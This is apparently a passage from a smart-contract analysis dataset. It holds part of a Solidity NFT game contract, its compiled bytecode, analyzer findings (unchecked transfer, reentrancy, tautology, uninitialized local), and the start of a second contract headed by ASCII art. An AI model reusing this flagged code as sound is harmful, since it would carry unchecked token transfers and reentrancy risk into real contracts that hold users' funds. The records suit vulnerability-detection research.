> 0) { uint multiplier = getMultiplier(ethereanBalance); uint rewardAmount = totalElapsedTime.mul(multiplier).mul(10**18).div(86400); invaderContract.claimReward(msg.sender, rewardAmount); emit RewardClaimed(msg.sender, rewardAmount); } } function mintDrop(uint _dropId) external hasEmpire(){ Drop storage drop = drops[_dropId]; require(drop.exists == true, "Drop does not exist."); require(block.timestamp < drop.end, "Drop has expired."); require(drop.minted < drop.supply, "Drop is sold out."); require(addressOwnsDrop[msg.sender][_dropId] == false, "Only one drop allowed per empire."); uint ethereanBalance = ethereanContract.balanceOf(msg.sender); require(ethereanBalance >= ETHEREAN_MIN, "Did not meet minimum ethereans requirement to mint drop."); if (drop.cost > 0) { invaderContract.burnFrom(msg.sender, drop.cost); } empireDropsContract.mint(msg.sender, drop.tokenId); drop.minted += 1; addressOwnsDrop[msg.sender][_dropId] = true; emit DropMinted(msg.sender, _dropId); } function min(uint a, uint b) internal pure returns (uint) { return a < b ? a : b; } function getMultiplier(uint ethereanBalance) internal pure returns (uint) { if (ethereanBalance < 6) return 10; if (ethereanBalance < 18) return 11; if (ethereanBalance < 72) return 12; return 13; } function withdraw() public onlyOwner() { uint balance = address(this).balance; payable(owner()).transfer(balance); } function recoverERC20(address _tokenAddress, uint _tokenAmount) public onlyOwner() { IERC20(_tokenAddress).transfer(owner(), _tokenAmount); } function recoverERC721(address _tokenAddress, uint _tokenId) public onlyOwner() { IERC721(_tokenAddress).safeTransferFrom(address(this), owner(), _tokenId); } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063819d4cc6116100de578063c94c7ff411610097578063eb01e79c11610071578063eb01e79c1461043f578063ec1268ea1461045b578063f2fde38b14610479578063fcea1057146104955761018e565b8063c94c7ff4146103e9578063d3b5427f14610405578063e1bfa1cd146104215761018e565b8063819d4cc6146103275780638980f11f146103435780638bc300961461035f5780638da5cb5b1461037d5780638edb2bbc1461039b578063c8beadd8146103b75761018e565b80633ccfd60b1161014b5780635eb39968116101255780635eb39968146102a957806364a0436c146102e15780637028a0c3146102ff578063715018a61461031d5761018e565b80633ccfd60b146102535780634b1cd2b61461025d5780635008ce88146102795761018e565b8063042e3265146101935780630dbad271146101b157806314064735146101cd5780631ddfb361146101e95780632db64133146102055780633083aa7b14610235575b600080fd5b61019b6104b3565b6040516101a891906124e2565b60405180910390f35b6101cb60048036038101906101c69190612544565b610541565b005b6101e760048036038101906101e291906126b7565b610642565b005b61020360048036038101906101fe91906126b7565b610923565b005b61021f600480360381019061021a9190612765565b610b37565b60405161022c91906127a1565b60405180910390f35b61023d610b4f565b60405161024a91906127a1565b60405180910390f35b61025b610b57565b005b610277600480360381019061027291906127bc565b610c29565b005b610293600480360381019061028e91906128b2565b610edc565b6040516102a0919061290d565b60405180910390f35b6102c360048036038101906102be9190612765565b610f0b565b6040516102d8999897969594939291906129b0565b60405180910390f35b6102e96110fe565b6040516102f69190612a61565b60405180910390f35b610307611124565b6040516103149190612a61565b60405180910390f35b61032561114a565b005b610341600480360381019061033c91906128b2565b6111d2565b005b61035d600480360381019061035891906128b2565b6112c8565b005b6103676113dd565b60405161037491906127a1565b60405180910390f35b6103856113e3565b6040516103929190612a61565b60405180910390f35b6103b560048036038101906103b09190612765565b61140c565b005b6103d160048036038101906103cc9190612544565b611492565b6040516103e093929190612a7c565b60405180910390f35b61040360048036038101906103fe9190612b89565b6115d9565b005b61041f600480360381019061041a9190612765565b611a81565b005b610429611fa5565b6040516104369190612a61565b60405180910390f35b61045960048036038101906104549190612544565b611fcb565b005b6104636120cc565b60405161047091906127a1565b60405180910390f35b610493600480360381019061048e9190612544565b6120d2565b005b61049d6121ca565b6040516104aa91906127a1565b60405180910390f35b6060600b80548060200260200160405190810160405280929190818152602001828054801561053757602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116104ed575b5050505050905090565b6105496121d0565b73ffffffffffffffffffffffffffffffffffffffff166105676113e3565b73ffffffffffffffffffffffffffffffffffffffff16146105bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b490612c1e565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff161515146106d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cf90612c8a565b60405180910390fd5b600154600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b81526004016107369190612a61565b60206040518083038186803b15801561074e57600080fd5b505afa158015610762573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107869190612cbf565b10156107c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107be90612d5e565b60405180910390fd5b604051806060016040528083815260200182815260200160011515815250600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001908051906020019061084092919061234f565b50602082015181600101908051906020019061085d92919061234f565b5060408201518160020160006101000a81548160ff021916908315150217905550905050600b339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f79a312d0805fd32926b380fcf906181826f40a32e48ab3aa9faa26aaa566251233838360405161091793929190612d7e565b60405180910390a15050565b60011515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff161515146109b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b090612e0f565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166379cc6790336002546040518363ffffffff1660e01b8152600401610a18929190612e2f565b600060405180830381600087803b158015610a3257600080fd5b505af1158015610a46573d6000803e3d6000fd5b5050505081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000019080519060200190610aa092919061234f565b5080600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001019080519060200190610af792919061234f565b507fa814e7ab8f7b34e063058a8c7fd47a3fe4c7ac698ff56e924fa627e9436eb2d3338383604051610b2b93929190612d7e565b60405180910390a15050565b600c6020528060005260406000206000915090505481565b636774939081565b610b5f6121d0565b73ffffffffffffffffffffffffffffffffffffffff16610b7d6113e3565b73ffffffffffffffffffffffffffffffffffffffff1614610bd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bca90612c1e565b60405180910390fd5b6000479050610be06113e3565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610c25573d6000803e3d6000fd5b5050565b610c316121d0565b73ffffffffffffffffffffffffffffffffffffffff16610c4f6113e3565b73ffffffffffffffffffffffffffffffffffffffff1614610ca5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9c90612c1e565b60405180910390fd5b6000871015610ce9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce090612ea4565b60405180910390fd5b60008211610d2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2390612f10565b60405180910390fd5b804210610d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6590612fa2565b60405180910390fd5b610d8460016003546121d890919063ffffffff16565b6003819055506040518061012001604052808881526020018781526020018681526020018581526020018481526020018381526020018281526020016001151581526020016000815250600d60006003548152602001908152602001600020600082015181600001556020820151816001019080519060200190610e0992919061234f565b506040820151816002019080519060200190610e2692919061234f565b506060820151816003019080519060200190610e4392919061234f565b506080820151816004015560a0820151816005015560c0820151816006015560e08201518160070160006101000a81548160ff02191690831515021790555061010082015181600801559050507f3cce7e8c812e4073415ec5b0e8eab14dce7632ee3c2ddbcfe0f7e8765ea3827087878787878787604051610ecb9796959493929190612fc2565b60405180910390a150505050505050565b600e6020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600d602052806000526040600020600091509050806000015490806001018054610f3490613075565b80601f0160208091040260200160405190810160405280929190818152602001828054610f6090613075565b8015610fad5780601f10610f8257610100808354040283529160200191610fad565b820191906000526020600020905b815481529060010190602001808311610f9057829003601f168201915b505050505090806002018054610fc290613075565b80601f0160208091040260200160405190810160405280929190818152602001828054610fee90613075565b801561103b5780601f106110105761010080835404028352916020019161103b565b820191906000526020600020905b81548152906001019060200180831161101e57829003601f168201915b50505050509080600301805461105090613075565b80601f016020809104026020016040519081016040528092919081815260200182805461107c90613075565b80156110c95780601f1061109e576101008083540402835291602001916110c9565b820191906000526020600020905b8154815290600101906020018083116110ac57829003601f168201915b5050505050908060040154908060050154908060060154908060070160009054906101000a900460ff16908060080154905089565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6111526121d0565b73ffffffffffffffffffffffffffffffffffffffff166111706113e3565b73ffffffffffffffffffffffffffffffffffffffff16146111c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bd90612c1e565b60405180910390fd5b6111d060006121ee565b565b6111da6121d0565b73ffffffffffffffffffffffffffffffffffffffff166111f86113e3565b73ffffffffffffffffffffffffffffffffffffffff161461124e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124590612c1e565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166342842e0e306112736113e3565b846040518463ffffffff1660e01b8152600401611292939291906130a7565b600060405180830381600087803b1580156112ac57600080fd5b505af11580156112c0573d6000803e3d6000fd5b505050505050565b6112d06121d0565b73ffffffffffffffffffffffffffffffffffffffff166112ee6113e3565b73ffffffffffffffffffffffffffffffffffffffff1614611344576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133b90612c1e565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6113686113e3565b836040518363ffffffff1660e01b8152600401611386929190612e2f565b602060405180830381600087803b1580156113a057600080fd5b505af11580156113b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d8919061310a565b505050565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6114146121d0565b73ffffffffffffffffffffffffffffffffffffffff166114326113e3565b73ffffffffffffffffffffffffffffffffffffffff1614611488576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147f90612c1e565b60405180910390fd5b8060028190555050565b600a6020528060005260406000206000915090508060000180546114b590613075565b80601f01602080910402602001604051908101604052809291908181526020018280546114e190613075565b801561152e5780601f106115035761010080835404028352916020019161152e565b820191906000526020600020905b81548152906001019060200180831161151157829003601f168201915b50505050509080600101805461154390613075565b80601f016020809104026020016040519081016040528092919081815260200182805461156f90613075565b80156115bc5780601f10611591576101008083540402835291602001916115bc565b820191906000526020600020905b81548152906001019060200180831161159f57829003601f168201915b5050505050908060020160009054906101000a900460ff16905083565b60011515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff1615151461166f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166690612e0f565b60405180910390fd5b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b81526004016116cc9190612a61565b60206040518083038186803b1580156116e457600080fd5b505afa1580156116f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171c9190612cbf565b9050600154811015611763576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175a906131a9565b60405180910390fd5b60006117734263677493906122b2565b9050600080600090505b845181101561195357600085828151811061179b5761179a6131c9565b5b602002602001015190506000600c60008381526020019081526020016000205490503373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff1660e01b815260040161182f91906127a1565b60206040518083038186803b15801561184757600080fd5b505afa15801561185b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061187f919061320d565b73ffffffffffffffffffffffffffffffffffffffff16146118d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cc90613286565b60405180910390fd5b60008114156118fb5784600c60008481526020019081526020016000208190555061193e565b600081111561193d5761191781866122cb90919063ffffffff16565b8461192291906132d5565b935084600c6000848152602001908152602001600020819055505b5b5050808061194b9061332b565b91505061177d565b506000811115611a7b576000611968846122e1565b905060006119ae620151806119a0670de0b6b3a7640000611992868861232390919063ffffffff16565b61232390919063ffffffff16565b61233990919063ffffffff16565b9050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663174e31c433836040518363ffffffff1660e01b8152600401611a0d929190612e2f565b600060405180830381600087803b158015611a2757600080fd5b505af1158015611a3b573d6000803e3d6000fd5b505050507f106f923f993c2149d49b4255ff723acafa1f2d94393f561d3eda32ae348f72413382604051611a70929190612e2f565b60405180910390a150505b50505050565b60011515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16151514611b17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0e90612e0f565b60405180910390fd5b6000600d60008381526020019081526020016000209050600115158160070160009054906101000a900460ff16151514611b86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7d906133c0565b60405180910390fd5b80600601544210611bcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc39061342c565b60405180910390fd5b8060050154816008015410611c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0d90613498565b60405180910390fd5b60001515600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060009054906101000a900460ff16151514611cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb19061352a565b60405180910390fd5b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401611d179190612a61565b60206040518083038186803b158015611d2f57600080fd5b505afa158015611d43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d679190612cbf565b9050600154811015611dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da5906135bc565b60405180910390fd5b600082600401541115611e4f57600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166379cc67903384600401546040518363ffffffff1660e01b8152600401611e1c929190612e2f565b600060405180830381600087803b158015611e3657600080fd5b505af1158015611e4a573d6000803e3d6000fd5b505050505b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f193384600001546040518363ffffffff1660e01b8152600401611eb0929190612e2f565b600060405180830381600087803b158015611eca57600080fd5b505af1158015611ede573d6000803e3d6000fd5b505050506001826008016000828254611ef791906132d5565b925050819055506001600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060006101000a81548160ff0219169083151502179055507ff1889e1143661fcb0d95acbc78a8670e6433d9a5faf6a81fbfe3b30fc4f9a83f3384604051611f98929190612e2f565b60405180910390a1505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611fd36121d0565b73ffffffffffffffffffffffffffffffffffffffff16611ff16113e3565b73ffffffffffffffffffffffffffffffffffffffff1614612047576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203e90612c1e565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60015481565b6120da6121d0565b73ffffffffffffffffffffffffffffffffffffffff166120f86113e3565b73ffffffffffffffffffffffffffffffffffffffff161461214e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214590612c1e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156121be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b59061364e565b60405180910390fd5b6121c7816121ee565b50565b60025481565b600033905090565b600081836121e691906132d5565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008183106122c157816122c3565b825b905092915050565b600081836122d9919061366e565b905092915050565b600060068210156122f557600a905061231e565b601282101561230757600b905061231e565b604882101561231957600c905061231e565b600d90505b919050565b6000818361233191906136a2565b905092915050565b60008183612347919061372b565b905092915050565b82805461235b90613075565b90600052602060002090601f01602090048101928261237d57600085556123c4565b82601f1061239657805160ff19168380011785556123c4565b828001600101855582156123c4579182015b828111156123c35782518255916020019190600101906123a8565b5b5090506123d191906123d5565b5090565b5b808211156123ee5760008160009055506001016123d6565b5090565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006124498261241e565b9050919050565b6124598161243e565b82525050565b600061246b8383612450565b60208301905092915050565b6000602082019050919050565b600061248f826123f2565b61249981856123fd565b93506124a48361240e565b8060005b838110156124d55781516124bc888261245f565b97506124c783612477565b9250506001810190506124a8565b5085935050505092915050565b600060208201905081810360008301526124fc8184612484565b905092915050565b6000604051905090565b600080fd5b600080fd5b6125218161243e565b811461252c57600080fd5b50565b60008135905061253e81612518565b92915050565b60006020828403121561255a5761255961250e565b5b60006125688482850161252f565b91505092915050565b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6125c48261257b565b810181811067ffffffffffffffff821117156125e3576125e261258c565b5b80604052505050565b60006125f6612504565b905061260282826125bb565b919050565b600067ffffffffffffffff8211156126225761262161258c565b5b61262b8261257b565b9050602081019050919050565b82818337600083830152505050565b600061265a61265584612607565b6125ec565b90508281526020810184848401111561267657612675612576565b5b612681848285612638565b509392505050565b600082601f83011261269e5761269d612571565b5b81356126ae848260208601612647565b91505092915050565b600080604083850312156126ce576126cd61250e565b5b600083013567ffffffffffffffff8111156126ec576126eb612513565b5b6126f885828601612689565b925050602083013567ffffffffffffffff81111561271957612718612513565b5b61272585828601612689565b9150509250929050565b6000819050919050565b6127428161272f565b811461274d57600080fd5b50565b60008135905061275f81612739565b92915050565b60006020828403121561277b5761277a61250e565b5b600061278984828501612750565b91505092915050565b61279b8161272f565b82525050565b60006020820190506127b66000830184612792565b92915050565b600080600080600080600060e0888a0312156127db576127da61250e565b5b60006127e98a828b01612750565b975050602088013567ffffffffffffffff81111561280a57612809612513565b5b6128168a828b01612689565b965050604088013567ffffffffffffffff81111561283757612836612513565b5b6128438a828b01612689565b955050606088013567ffffffffffffffff81111561286457612863612513565b5b6128708a828b01612689565b94505060806128818a828b01612750565b93505060a06128928a828b01612750565b92505060c06128a38a828b01612750565b91505092959891949750929550565b600080604083850312156128c9576128c861250e565b5b60006128d78582860161252f565b92505060206128e885828601612750565b9150509250929050565b60008115159050919050565b612907816128f2565b82525050565b600060208201905061292260008301846128fe565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612962578082015181840152602081019050612947565b83811115612971576000848401525b50505050565b600061298282612928565b61298c8185612933565b935061299c818560208601612944565b6129a58161257b565b840191505092915050565b6000610120820190506129c6600083018c612792565b81810360208301526129d8818b612977565b905081810360408301526129ec818a612977565b90508181036060830152612a008189612977565b9050612a0f6080830188612792565b612a1c60a0830187612792565b612a2960c0830186612792565b612a3660e08301856128fe565b612a44610100830184612792565b9a9950505050505050505050565b612a5b8161243e565b82525050565b6000602082019050612a766000830184612a52565b92915050565b60006060820190508181036000830152612a968186612977565b90508181036020830152612aaa8185612977565b9050612ab960408301846128fe565b949350505050565b600067ffffffffffffffff821115612adc57612adb61258c565b5b602082029050602081019050919050565b600080fd5b6000612b05612b0084612ac1565b6125ec565b90508083825260208201905060208402830185811115612b2857612b27612aed565b5b835b81811015612b515780612b3d8882612750565b845260208401935050602081019050612b2a565b5050509392505050565b600082601f830112612b7057612b6f612571565b5b8135612b80848260208601612af2565b91505092915050565b600060208284031215612b9f57612b9e61250e565b5b600082013567ffffffffffffffff811115612bbd57612bbc612513565b5b612bc984828501612b5b565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c08602083612933565b9150612c1382612bd2565b602082019050919050565b60006020820190508181036000830152612c3781612bfb565b9050919050565b7f4f6e6c79206f6e6520656d70697265207065722077616c6c65742e0000000000600082015250565b6000612c74601b83612933565b9150612c7f82612c3e565b602082019050919050565b60006020820190508181036000830152612ca381612c67565b9050919050565b600081519050612cb981612739565b92915050565b600060208284031215612cd557612cd461250e565b5b6000612ce384828501612caa565b91505092915050565b7f446964206e6f74206d656574206d696e696d756d20657468657265616e73207260008201527f6571756972656d656e742e000000000000000000000000000000000000000000602082015250565b6000612d48602b83612933565b9150612d5382612cec565b604082019050919050565b60006020820190508181036000830152612d7781612d3b565b9050919050565b6000606082019050612d936000830186612a52565b8181036020830152612da58185612977565b90508181036040830152612db98184612977565b9050949350505050565b7f446f6573206e6f74206f776e20656d706972652e000000000000000000000000600082015250565b6000612df9601483612933565b9150612e0482612dc3565b602082019050919050565b60006020820190508181036000830152612e2881612dec565b9050919050565b6000604082019050612e446000830185612a52565b612e516020830184612792565b9392505050565b7f4d75737420737570706c79206120746f6b656e49640000000000000000000000600082015250565b6000612e8e601583612933565b9150612e9982612e58565b602082019050919050565b60006020820190508181036000830152612ebd81612e81565b9050919050565b7f537570706c79206d7573742062652067726561746572207468616e20312e0000600082015250565b6000612efa601e83612933565b9150612f0582612ec4565b602082019050919050565b60006020820190508181036000830152612f2981612eed565b9050919050565b7f456e642064617465206d7573742062652073657420696e20746865206675747560008201527f7265000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f8c602283612933565b9150612f9782612f30565b604082019050919050565b60006020820190508181036000830152612fbb81612f7f565b9050919050565b600060e082019050612fd7600083018a612792565b8181036020830152612fe98189612977565b90508181036040830152612ffd8188612977565b905081810360608301526130118187612977565b90506130206080830186612792565b61302d60a0830185612792565b61303a60c0830184612792565b98975050505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061308d57607f821691505b602082108114156130a1576130a0613046565b5b50919050565b60006060820190506130bc6000830186612a52565b6130c96020830185612a52565b6130d66040830184612792565b949350505050565b6130e7816128f2565b81146130f257600080fd5b50565b600081519050613104816130de565b92915050565b6000602082840312156131205761311f61250e565b5b600061312e848285016130f5565b91505092915050565b7f446964206e6f74206d656574206d696e696d756d20657468657265616e73207260008201527f6571756972656d656e7420746f20636c61696d20726577617264732e00000000602082015250565b6000613193603c83612933565b915061319e82613137565b604082019050919050565b600060208201905081810360008301526131c281613186565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061320781612518565b92915050565b6000602082840312156132235761322261250e565b5b6000613231848285016131f8565b91505092915050565b7f457468657265616e20646f6573206e6f742062656c6f6e6720746f20796f752e600082015250565b6000613270602083612933565b915061327b8261323a565b602082019050919050565b6000602082019050818103600083015261329f81613263565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006132e08261272f565b91506132eb8361272f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133205761331f6132a6565b5b828201905092915050565b60006133368261272f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613369576133686132a6565b5b600182019050919050565b7f44726f7020646f6573206e6f742065786973742e000000000000000000000000600082015250565b60006133aa601483612933565b91506133b582613374565b602082019050919050565b600060208201905081810360008301526133d98161339d565b9050919050565b7f44726f702068617320657870697265642e000000000000000000000000000000600082015250565b6000613416601183612933565b9150613421826133e0565b602082019050919050565b6000602082019050818103600083015261344581613409565b9050919050565b7f44726f7020697320736f6c64206f75742e000000000000000000000000000000600082015250565b6000613482601183612933565b915061348d8261344c565b602082019050919050565b600060208201905081810360008301526134b181613475565b9050919050565b7f4f6e6c79206f6e652064726f7020616c6c6f7765642070657220656d7069726560008201527f2e00000000000000000000000000000000000000000000000000000000000000602082015250565b6000613514602183612933565b915061351f826134b8565b604082019050919050565b6000602082019050818103600083015261354381613507565b9050919050565b7f446964206e6f74206d656574206d696e696d756d20657468657265616e73207260008201527f6571756972656d656e7420746f206d696e742064726f702e0000000000000000602082015250565b60006135a6603883612933565b91506135b18261354a565b604082019050919050565b600060208201905081810360008301526135d581613599565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613638602683612933565b9150613643826135dc565b604082019050919050565b600060208201905081810360008301526136678161362b565b9050919050565b60006136798261272f565b91506136848361272f565b925082821015613697576136966132a6565b5b828203905092915050565b60006136ad8261272f565b91506136b88361272f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156136f1576136f06132a6565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006137368261272f565b91506137418361272f565b925082613751576137506136fc565b5b82820490509291505056fea2646970667358221220532315a8b041e55e39bc9a12ccd469e7719d2792a15ee88502294117b938d33c64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
5,032
0x31603caeef2ed2d5c2da70a8664b39526505cd6a
/** *Submitted for verification at Etherscan.io on 2022-03-24 */ /** *Submitted for verification at Etherscan.io on 2022-03-24 */ /** Missed Alchemist? Say hello to... THE BABY ALCHEMIST '"^^^^┌┌" ╙╣▓▓▓█▀▄╩▀╟▄█▀█║█╠╠╪╬▌▀╬▓████████████████████ '..^^^^^┌~ ╙▓▀▄█▓.▄██╫▓▓▒█▄╦╙╠╣███████████████████████ ,▄▄Æ▓████████████▓▌▄▄;^^^^^^┌~ ║▓██░▓████╫█▌▒▓▌▒φ▒╬██████████████████████ ▄▓▓█▓██████████████████████▄┌^,┌: ."▓█▌╓████████▐╫j▌▓╬▓╣██████████████████████ ╟████████████████████████████▒^┌┌┌:- , ╙▀╓█████████▒░╠╩╕▐██████████▌▓▄╬▓█████████ ╨█████████▀▀▀▀▀▀▀▀▀███████▌ '" "┌┌⌐░░δ▒▒▒▓▓▓M]╨██████████▓╬╔▒╩╙▀╨╨▀▀▀▀╫██▌ ╫█████████ ╫╨└ └╫ ^ ]░Σ╠╠╬╣▓▓ ╫███████████▀╨▒#⌐,. '┐» └▀⌐ ▐█████████ ,,╫▄▄▄▄▄▌▌▓▓▓▓▓▓▓▓▓▓▓▌▌▄▄▄▓▄µ ,░░▒╠╬╣▓▌.███████████Ö ╟▌█▓┐ " "w. ╫█████████ ,▄▄▄▄▓█████▓████╙``j▒╩╨╠▒╙╩Γ╙╙╙╙╙╣███████▓▌▄▄▄▄▄Γ└║▓▒▐██████▀▀▀╙ ~'¬└└ . └▐█████████ └╙╙╙╙╙╙╙╙╙╙╙▓███╙ ┌Å╥██████µ╕ ╬╟█▓▓▀▀▀▀╨╙╙└└ ╔╢╬▒]████▓╪, ' ~ ' ▓██████████ ╫███ ╣ ████████j ^╫████b ' ."":»╙╙=║▓▓▓▓╬╬ ...`~. '╓▀▓██████████ "███ ╫╙███████▌╫ ╙▀█▌Γ' ' ' ╓⌐╚▀▓█▓▄⌐ ,;;{≤ⁿ, ' ╔▓▒╣██████████ ╟██▄ ╨▄╠▀▀▀▀├m─ "w . ' =ε≈#╣▓▓▓▌▄▄░│└└┘╙╙ ;╬░║▓██████████ ╨██▌ └└└└ "-,└v '""░░░"]@╟╣▓▓▓██████▓▄ ` - ' .²╠▒φ╫▓██████████ ▓████▌, └%▄Ç,^. ` φ╚╚)╫╣╣▓▓██████⌐ .,░░╠▓███████████ ████████▄▄, ^w ╙╧ƒ^- ░∩^^┐╙╬╬╣▓▓███▌ .;»¡▒▓▓███████████ ,µ▀██████████████▌▄▄▄▄▄≈≈g, V:^- "» 7"└╙╨╣▓▓▌' ╓α, ]░]╠╬╢████████████ æ▐▄▓▓█▓▓▓████████████████▌▓▓▌▄┘Γ*w, \:"^ . '^ . "╝╝ ,╠ª" ."¿>▐╣▐█████████████ ,é▓██████████▓▓███████████████████▓▄; └╙\ ▐ .' . 'ⁿ,,~╓ó└ :░░▒╬░▓█████████████ ╓╬▓█████████████████████████████████████▌µ. V▌ '. : ^!² ';]╠╩Ü╬███▓▓█████████ ▄████████████████████████████████████████████▓µ └ '~ , .,,∩ b.█╬╩└' └"╙╨▓████ ▄████████████████████████████████████████████████ . ''- .░░¡ ¡┌¡\ \ ▓╦, └▓███ 